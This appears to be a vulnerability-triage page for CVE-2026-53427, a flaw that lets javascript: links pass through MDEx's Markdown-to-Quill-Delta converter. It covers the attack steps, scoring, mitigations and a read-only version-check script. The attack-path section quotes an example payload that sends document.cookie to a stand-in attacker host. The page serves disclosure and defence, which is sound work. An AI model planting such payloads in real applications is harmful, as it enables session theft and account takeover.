← Back to Feed CACHED · 2026-06-30 20:27:38 · CACHE_KEY CVE-2026-53427
CVE-2026-53427 · CWE-79 · Disclosed 2026-06-29

Improper Neutralization of Input During Web Page Generation

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

A Markdown pipeline that strips dangerous HTML but forgets URLs are payloads too

MDEx is a popular Elixir Markdown library (built on comrak + ammonia + lumis) used heavily in Phoenix apps. The MDEx.to_delta/2 path converts Markdown into the Quill Delta JSON format used by the Quill rich-text editor. Inside MDEx.DeltaConverter.default_convert_node/3, the URL of a link, wikilink, or image node is copied straight from the parsed Markdown into the Delta link or image attribute with no scheme allowlist and no normalization. A user-supplied [click](javascript:alert(document.cookie)) survives intact. When that Delta is later rendered to HTML by something like quill-delta-to-html or the Quill client, the attribute becomes an <a href> or <img src> and the javascript: URI fires in any viewer's browser. Affected: mdex 0.8.3 through 0.13.1; fixed in 0.13.2.

No vendor CVSS was published, which is appropriate — the impact is heavily dependent on what the host application does with the Delta output. The HTML sanitizer (ammonia) that protects to_html/1 is not in the path here. Calling this *just* an XSS undersells it for apps that store-and-render attacker Markdown across users (forums, comments, wikis, ticket systems) and oversells it for apps that only render Markdown the author wrote for themselves. Treating it as a real MEDIUM with situational HIGH potential is the honest read.

"Markdown-to-Delta converter copies javascript: URLs verbatim into Quill attributes. Real impact depends on whether the downstream renderer trusts them."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Attacker submits Markdown with a javascript: URI

In any app that accepts Markdown from one user and renders it to another (comment, wiki page, ticket, profile bio), the attacker posts a link/image with a javascript: scheme. Example payload: [click](javascript:fetch('//atk/?c='+document.cookie)) or ![x](javascript:...).
Conditions required:
  • App accepts Markdown input from untrusted users
  • App stores/renders Markdown across trust boundaries
Where this breaks in practice:
  • Apps that only render an author's own Markdown (single-tenant notebooks) have no cross-user impact
  • Markdown editors that preview client-side may catch obvious payloads
Detection/coverage: Standard WAFs do not inspect Markdown bodies; SAST/DAST will not flag this without app-aware rules
STEP 02

MDEx parses and converts to Quill Delta

Server calls MDEx.to_delta/2. DeltaConverter.default_convert_node/3 copies the URL string into the Delta op's attributes.link or attributes.image field unchanged. No URL parsing, no scheme allowlist, no href rewriting.
Conditions required:
  • Application uses to_delta/2 rather than to_html/1
  • mdex version in [0.8.3, 0.13.2)
Where this breaks in practice:
  • Most existing MDEx users started on the HTML path; Delta usage is a newer feature
  • If the app wraps to_delta with its own URL filter the payload is neutralized
Detection/coverage: Code grep for MDEx.to_delta is reliable; SBOM/hex.pm dep scanners (Dependabot, Renovate, mix_audit) will pick up the GHSA once published
STEP 03

Delta is rendered to HTML by downstream consumer

quill-delta-to-html, custom server-side renderers, or the Quill client itself emits <a href="javascript:..."> or <img src="javascript:...">. Neither library performs scheme filtering by default — Quill assumes the producer cleaned input.
Conditions required:
  • A downstream renderer that does not strip dangerous URI schemes
  • Browser context where the link/image is presented to a different user
Where this breaks in practice:
  • Apps that pipe Delta back through a server-side HTML sanitizer (DOMPurify, sanitize-html with default config) will strip javascript: hrefs
  • A strict Content-Security-Policy with default-src 'self' and no inline event handlers blocks most exfil paths but does NOT block javascript: href navigation; CSP script-src does not cover javascript: URIs unless unsafe-inline is forbidden AND the browser honors the relevant directive
Detection/coverage: DAST (Burp/ZAP active scan) with stored-XSS payload set will find this once payload reaches a rendering surface
STEP 04

Victim clicks the link / loads the image, JS executes in their session

Classic stored/reflected XSS impact: session token theft via document.cookie, CSRF token exfil, account takeover, internal SSRF via fetch, phishing redirect. Scope is bounded by the victim's privileges in the app.
Conditions required:
  • Victim with an active session interacts with the rendered content
  • SameSite cookies do not block the relevant CSRF action
Where this breaks in practice:
  • HttpOnly cookies blunt cookie theft (but not token-from-DOM theft or DOM-mediated CSRF)
  • Click-required (anchor) payloads need user interaction; <img> payloads do not but javascript: in img src is no-ops in modern browsers in many cases
Detection/coverage: EDR will not see browser-internal XSS; only app-side anomaly detection (sudden outbound requests from session JS) can catch post-exploit traffic
03 · Intelligence Metadata

The supporting signals.

In-the-wild exploitationNone observed. Library is niche and the vulnerable code path (to_delta) is relatively new.
Proof-of-conceptPoC implicit in the advisory text: [click](javascript:alert(document.cookie)) round-trips through MDEx.to_delta/2. No public weaponized repo at time of writing.
EPSS0.00405 (≈0.4% probability of exploitation in next 30 days) — bottom-quartile signal.
KEV statusNot listed.
CVSS vectorNo vendor vector published. A reasonable reconstruction: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N → ~6.1 base (stored-XSS pattern). Noisgate scores 5.4 after deployment-base friction.
Affected versionsmdex 0.8.3 ≤ v < 0.13.2 (Hex package mdex).
Fixed version0.13.2 — adds scheme allowlist in DeltaConverter.
Exposure populationHex.pm downloads for mdex are modest (Phoenix-ecosystem niche); the to_delta API is a small subset of users. Conservative estimate: low single-digit thousands of production deployments touch this path.
Disclosed2026-06-29 via Erlang Ecosystem Foundation CNA / GitHub Security Advisory.
ReporterErlang Ecosystem Foundation CNA coordinated disclosure; advisory authored against leandrocp/mdex repo.
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to MEDIUM (5.4/10)

The decisive factor is path narrowness: only apps that call MDEx.to_delta/2 AND feed the Delta to a non-sanitizing renderer AND accept Markdown across trust boundaries are exploitable. That tri-condition keeps blast radius well under what a generic stored-XSS in a Markdown library would imply.

HIGH Technical root cause (missing scheme allowlist in DeltaConverter)
HIGH Affected version range and fixed version
MEDIUM Real-world exploitation likelihood — depends on downstream renderer behavior in each app
LOW Installed-base estimate — Hex doesn't expose per-API-call telemetry

Why this verdict

  • Stored-XSS class with user-interaction caveat: javascript: in an <a href> needs a click; in <img src> modern browsers usually no-op. That tempers the worst-case from automatic compromise to click-or-script-mediated compromise.
  • Path-gated exposure: the HTML pipeline (to_html/1) is protected by ammonia. Only the to_delta/2 consumers are at risk, which is a minority of MDEx users.
  • Renderer-dependent payoff: if the downstream Delta-to-HTML step (or Quill client config) strips dangerous schemes, the bug is inert. Many production Quill integrations do filter.
  • Role multiplier — public forum / wiki / ticket app: chain succeeds; blast radius is per-session account takeover for any user who views attacker content. Tenant-scoped, not fleet-scoped.
  • Role multiplier — admin-facing CMS where authors are trusted: chain technically succeeds but trust boundary already crossed; impact is amplified to admin-session theft only if a low-priv author posts and an admin previews. Plausible but narrow.
  • Role multiplier — single-user notebook / personal Markdown renderer: chain does not yield cross-user impact; self-XSS only.
  • No KEV, EPSS 0.4%: no signal of active interest. Niche Elixir ecosystem keeps mass-scan attention low.
  • Friction adjustment downward: requires user-supplied Markdown AND to_delta API AND permissive downstream renderer AND victim interaction. Multiple compounding gates pull this off HIGH.

Why not higher?

Not HIGH because no high-value-role component is in scope — MDEx is a content-rendering library, not identity/PKI/hypervisor/EDR. The worst plausible outcome is per-tenant account takeover via stored-XSS in apps that opted into the Delta path, not fleet or domain compromise. KEV-absent and EPSS bottom-quartile reinforce that the wild-exploitation pressure is low.

Why not lower?

Not LOW because the bug is a real injection of attacker-controlled javascript: URIs into a rendering pipeline, and the affected-version window is wide (5+ minor releases). Apps that use to_delta with Quill in a multi-user context are genuinely exploitable today with a copy-paste payload, which deserves more than backlog hygiene.

05 · Compensating Control

What to do — in priority order.

  1. Upgrade mdex to 0.13.2 in mix.exs — The fix adds the scheme allowlist in DeltaConverter. For a MEDIUM verdict, deploy within the noisgate remediation SLA of 365 days, but if you use to_delta/2 in a multi-user context treat as HIGH-equivalent and ship in ≤30 days.
  2. Add a URL-scheme allowlist between MDEx.to_delta/2 and your renderer — Post-process the Delta ops and reject any op whose attributes.link or attributes.image does not match ^(https?|mailto|tel|/|#). Cheap, reliable, defense-in-depth even after upgrading.
  3. Pin a Delta-to-HTML renderer that strips dangerous schemes — Configure quill-delta-to-html or equivalent with a custom linkRel/URL filter, or post-process emitted HTML with DOMPurify default config. Eliminates the bug at the render step regardless of producer.
  4. Tighten CSPscript-src 'self', no unsafe-inline, plus <meta http-equiv="Content-Security-Policy" content="navigate-to 'self'"> where supported. Blunts exfil even on click-fired javascript: URIs.
  5. Audit for MDEx.to_delta callsitesrg "MDEx\.to_delta|MDEx\.DeltaConverter" lib/ apps/ — if you find none, this CVE is informational only for your fleet and you can drop priority. If you find any, treat each callsite as an exploitable surface until proven otherwise.
What doesn't work
  • ammonia HTML sanitizer — it is in the to_html path, NOT to_delta. Trusting ammonia for Delta output is the exact mistake this bug exploits.
  • WAF rules looking for <script> — the payload is a javascript: URI scheme, not a script tag, and Markdown bodies arrive base64'd or in JSON requests that most WAFs do not parse.
  • HttpOnly cookies — they block document.cookie theft but not in-DOM token theft or DOM-mediated CSRF, which are equally damaging.
  • Disabling JavaScript in the editor preview — server-stored Delta still hits the victim's browser at render time.
06 · Verification

Crowdsourced verification payload.

Run on any host with the Elixir project checked out (CI runner, build server, or developer workstation). Invoke as ./check-mdex.sh /path/to/phoenix-app. Needs read access to mix.lock and the source tree; no privileges.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# noisgate: CVE-2026-53427 — mdex DeltaConverter XSS via javascript: URIs
# Usage: ./check-mdex.sh <path-to-elixir-project>
set -u
PROJ="${1:-.}"
LOCK="$PROJ/mix.lock"

if [[ ! -f "$LOCK" ]]; then
  echo "UNKNOWN: $LOCK not found"
  exit 2
fi

# Extract pinned mdex version from mix.lock
VER=$(grep -E '"mdex"' "$LOCK" | grep -oE '"[0-9]+\.[0-9]+\.[0-9]+"' | head -1 | tr -d '"')

if [[ -z "$VER" ]]; then
  echo "UNKNOWN: mdex not present in mix.lock — CVE not applicable"
  exit 0
fi

# semver compare: vulnerable iff 0.8.3 <= VER < 0.13.2
verlte() { [[ "$(printf '%s\n%s' "$1" "$2" | sort -V | head -1)" == "$1" ]]; }
verlt()  { [[ "$1" != "$2" ]] && verlte "$1" "$2"; }

VULN=0
if verlte "0.8.3" "$VER" && verlt "$VER" "0.13.2"; then VULN=1; fi

# Bonus: detect actual usage of the vulnerable API
USAGE=$(grep -rEn 'MDEx\.to_delta|MDEx\.DeltaConverter' "$PROJ"/lib "$PROJ"/apps 2>/dev/null | wc -l | tr -d ' ')

echo "mdex version: $VER"
echo "to_delta callsites found: $USAGE"

if [[ "$VULN" -eq 1 && "$USAGE" -gt 0 ]]; then
  echo "VULNERABLE: mdex $VER is in the affected range AND to_delta is used"
  exit 1
elif [[ "$VULN" -eq 1 ]]; then
  echo "VULNERABLE: mdex $VER is in the affected range (to_delta usage not detected — verify dynamic callers)"
  exit 1
else
  echo "PATCHED: mdex $VER is outside the affected range (fix in 0.13.2)"
  exit 0
fi
07 · Bottom Line

If you remember one thing.

TL;DR
Monday morning: rg "MDEx\.to_delta" across every Elixir/Phoenix repo in your portfolio. If zero hits, you can document this as not-applicable and move on. If you find callsites in any multi-user context (comments, wikis, tickets, chat), treat this as a HIGH-equivalent for those services and ship mdex 0.13.2 plus a downstream scheme-allowlist guard within the noisgate mitigation SLA window — for MEDIUM there is no mitigation SLA, so go straight to the noisgate remediation SLA of ≤365 days for the rest of the fleet, but prioritize the multi-user surfaces into the 30-day bucket. No KEV, EPSS 0.4%, so this is a planned-change job, not a fire-drill.

Sources

  1. GitHub repo — leandrocp/mdex
  2. mdex CHANGELOG
  3. mdex releases (0.13.2 patch)
  4. Erlang Ecosystem Foundation CNA — issued CVEs
  5. GitHub Security Advisories for mdex
  6. NVD — CVE-2026-53427
  7. FIRST EPSS lookup
  8. CWE-79 — XSS
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.